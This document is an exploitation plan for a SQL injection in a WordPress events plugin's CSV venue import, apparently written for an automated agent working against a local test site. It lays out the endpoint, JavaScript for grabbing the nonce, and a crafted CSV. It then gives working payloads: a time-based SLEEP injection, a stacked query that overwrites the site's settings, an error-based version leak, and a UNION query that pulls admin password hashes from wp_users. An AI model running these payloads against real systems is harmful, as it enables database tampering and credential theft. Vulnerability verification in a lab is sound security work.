Exploitation Research Plan: CVE-2026-2429 - Community Events SQL Injection

1. Vulnerability Summary

The Community Events plugin (up to version 1.5.8) contains an authenticated SQL injection vulnerability within its CSV venue import functionality. The vulnerability exists in the on_save_changes_venues function, which processes user-uploaded CSV files. Specifically, data from the ce_venue_name CSV field is concatenated directly into SQL queries without proper sanitization via wpdb->prepare() or escaping via esc_sql().

While the vulnerability requires Administrator privileges to access the settings page and trigger the import, it allows an attacker to execute arbitrary SQL queries, potentially leading to the extraction of sensitive data (like password hashes or session tokens) from the WordPress database.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-post.php
• Action: save_community_events_venues (registered via admin_post_save_community_events_venues hook)
• Vulnerable Parameter: The content of the uploaded CSV file, specifically under the ce_venue_name column.
• Authentication: Required (Administrator level).
• Preconditions:
  • Plugin "Community Events" installed and active.
  • Attacker has Administrator credentials.

3. Code Flow

1. Entry Point: An administrator submits a form on the Venues settings page (/wp-admin/admin.php?page=community-events-venues).
2. Request: The form POSTs to admin-post.php with action=save_community_events_venues.
3. Hook: The community_events_plugin class constructor registers the hook:
   add_action('admin_post_save_community_events_venues', array($this, 'on_save_changes_venues'));
4. Processing: on_save_changes_venues handles the request. It checks for an uploaded CSV file.
5. Parsing: The function reads the CSV file (likely using fopen and fgetcsv).
6. Vulnerable Sink: Inside a loop iterating through the CSV rows, the value corresponding to ce_venue_name is assigned to a variable. This variable is then interpolated into a raw SQL query (e.g., SELECT, INSERT, or UPDATE) executed via $wpdb->query() or $wpdb->get_results() without preparation.

4. Nonce Acquisition Strategy

The admin-post.php handler almost certainly requires a nonce for CSRF protection. Based on common plugin patterns and the ajax_admin_event_approval example in the source, we must find the specific nonce used in the venues form.

Strategy:

1. Navigate: Use the browser_navigate tool to go to the Community Events Venues page:
   URL: /wp-admin/admin.php?page=community-events-venues (Note: the slug community-events is defined as COMMUNITY_EVENTS_ADMIN_PAGE_NAME).
2. Extract: Use browser_eval to find the nonce in the form.

   // Search for a hidden input field named 'ce_venues_nonce' or '_wpnonce'
   document.querySelector('input[name="ce_venues_nonce"]')?.value || document.querySelector('#_wpnonce')?.value
   

3. Verify Action: If wp_create_nonce('ce_venues_save') is used, the nonce field name might be ce_venues_nonce.

5. Exploitation Strategy

The goal is to confirm SQL injection using a time-based payload in the CSV file.

Step-by-Step Plan:

1. Login: Authenticate as an administrator.
2. Locate Form: Access /wp-admin/admin.php?page=community-events-venues to identify the file upload field name (likely venue_csv_file or similar).
3. Prepare CSV: Create a CSV file named exploit.csv with the following content:

   ce_venue_name,ce_venue_address,ce_venue_city
   "test' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -","123 Test St","Test City"
   

4. Execute Request: Use http_request to POST to admin-post.php.
   • URL: http://localhost:8080/wp-admin/admin-post.php
   • Method: POST
   • Headers: Content-Type: multipart/form-data
   • Body:
     • action: save_community_events_venues
     • _wpnonce: [Extracted Nonce]
     • venue_csv_file: [Binary content of exploit.csv]
5. Measure Timing: A successful injection will cause the server to hang for ~5 seconds.

6. Test Data Setup

1. Plugin Setup: Ensure Community Events is active.
2. Page Creation (Internal Requirement): Since this is an admin-level exploit, we don't need to place shortcodes for the admin to see, but the plugin must be initialized so the database tables exist (triggered by ce_install on activation).

7. Expected Results

• Success: The http_request for the CSV upload takes significantly longer than usual (>= 5 seconds).
• Failure: The request returns quickly (e.g., < 1 second) or results in a 403 Forbidden (nonce error) or 500 Internal Server Error (syntax error if the payload is malformed).

8. Verification Steps

After the HTTP request, verify the injection side-effect via wp-cli:

1. Check the database for the injected venue name:
   wp db query "SELECT * FROM wp_ce_venues WHERE venue_name LIKE 'test%';" --allow-root
2. Alternatively, use a payload that changes a setting or user:
   ce_venue_name payload: "test'; UPDATE wp_options SET option_value='pwned' WHERE option_name='blogname'; -- "
   Followed by: wp option get blogname --allow-root

9. Alternative Approaches

If time-based injection is blocked or unreliable:

1. Error-Based SQLi: Use updatexml() or extractvalue() to leak the database version or user.
   • Payload: "test' AND updatexml(1,concat(0x7e,@@version,0x7e),1)-- -"
   • Check the HTTP response body for the MySQL error containing the version string.
2. Union-Based Extraction: If the results of the query are displayed back to the admin (e.g., "The following venues were imported: ..."), determine the column count and use UNION SELECT.
   • Payload: "test' UNION SELECT 1,2,3,user_pass,5 FROM wp_users WHERE ID=1-- -"